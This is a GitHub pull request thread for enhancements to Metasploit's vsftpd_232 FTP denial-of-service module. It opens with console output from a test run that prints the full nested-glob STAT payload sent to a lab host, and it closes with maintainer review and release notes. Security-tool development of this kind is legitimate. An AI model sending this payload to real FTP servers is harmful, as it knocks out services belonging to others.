[*] 10.5.132.178:2121 - FTP DoS command: STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
[*] 10.5.132.178:2121 - Attempt: 1/25 - Sending DoS command
[*] 10.5.132.178:2121 - Connecting to FTP server...
[*] 10.5.132.178:2121 - Connected to target FTP server
[*] 10.5.132.178:2121 - Authenticating as anonymous with password mozilla@example.com...
[*] 10.5.132.178:2121 - Sending password...
[-] 10.5.132.178:2121 - The server rejected our password
[-] 10.5.132.178:2121 - Authentication failed - check FTPUSER/FTPPASS credentials
[*] Auxiliary module execution completed
msf auxiliary(dos/ftp/vsftpd_232) > workspace -v

Workspaces
==========

current  name     hosts  services  vulns  creds  loots  notes
-------  ----     -----  --------  -----  -----  -----  -----
*        default  1      4         0      0      0      3

msf auxiliary(dos/ftp/vsftpd_232) > services -v
Services
========

host          port  proto  name  state  info                           resource  parents
----          ----  -----  ----  -----  ----                           --------  -------
10.5.132.178  21    tcp    ftp   open   vsFTPd 2.3.4                   {}        tcp (21/tcp)
10.5.132.178  21    tcp    tcp   open                                  {}
10.5.132.178  2121  tcp    ftp   open   ProFTPD 1.3.1 Server (Debian)  {}        tcp (2121/tcp)
10.5.132.178  2121  tcp    tcp   open                                  {}

msf auxiliary(dos/ftp/vsftpd_232) > notes -v

Notes
=====

 Time                     Host          Service  Port  Protocol  Type          Data
 ----                     ----          -------  ----  --------  ----          ----
 2026-06-09 17:59:02 UTC  10.5.132.178  ftp      21    tcp       ftp.banner    {:banner=>"220 (vsFTPd 2.3.4)"}
 2026-06-09 17:59:02 UTC  10.5.132.178  ftp      21    tcp       ftp.cmd.stat  {:username=>"anonymous", :output=>"211-FTP server status:\r\n     Connected to 192.168.3.8\r\n
                                                                                Logged in as ftp\r\n     TYPE: ASCII\r\n     No session bandwidth limit\r\n     Session timeout i
                                                                               n seconds is 300\r\n     Control connection is plain text\r\n     Data connections will be plain t
                                                                               ext\r\n     vsFTPd 2.3.4 - secure, fast, stable\r\n211 End of status"}
 2026-06-09 17:59:46 UTC  10.5.132.178  ftp      2121  tcp       ftp.banner    {:banner=>"220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.5.132.178]"}

Comment thread modules/auxiliary/dos/ftp/vsftpd_232.rb Outdated
Comment thread modules/auxiliary/dos/ftp/vsftpd_232.rb Outdated
@github-project-automation github-project-automation Bot moved this from Todo to Waiting on Contributor in Metasploit Kanban Jun 9, 2026
@jheysel-r7 jheysel-r7 moved this from Waiting on Contributor to Waiting on Review in Metasploit Kanban Jun 15, 2026
@g0tmi1k

g0tmi1k commented Jun 15, 2026

Copy link
Copy Markdown
Contributor Author

Hey hey @jheysel-r7 - Thanks for making the time to review.
I think I've addressed the items that needs to be done (both from yourself and Copilot).
Done a force push.

@g0tmi1k g0tmi1k requested a review from jheysel-r7 June 15, 2026 14:55

@jheysel-r7 jheysel-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for making those changes @g0tmi1k 🚀

@github-project-automation github-project-automation Bot moved this from Waiting on Review to In Progress in Metasploit Kanban Jun 18, 2026
@jheysel-r7 jheysel-r7 merged commit bceb184 into rapid7:master Jun 18, 2026
18 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Jun 18, 2026
@jheysel-r7

Copy link
Copy Markdown
Contributor

Release Notes

This adds a number of enhancements for the vsftpd_232 module. It improves the check method, module output and reporting.

@g0tmi1k g0tmi1k deleted the vsftpd_232 branch June 19, 2026 20:44
@g0tmi1k

g0tmi1k commented Jun 19, 2026

Copy link
Copy Markdown
Contributor Author

Thanking you @jheysel-r7 !

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

enhancement rn-enhancement release notes enhancement

Projects

Archived in project

Development

Successfully merging this pull request may close these issues.

5 participants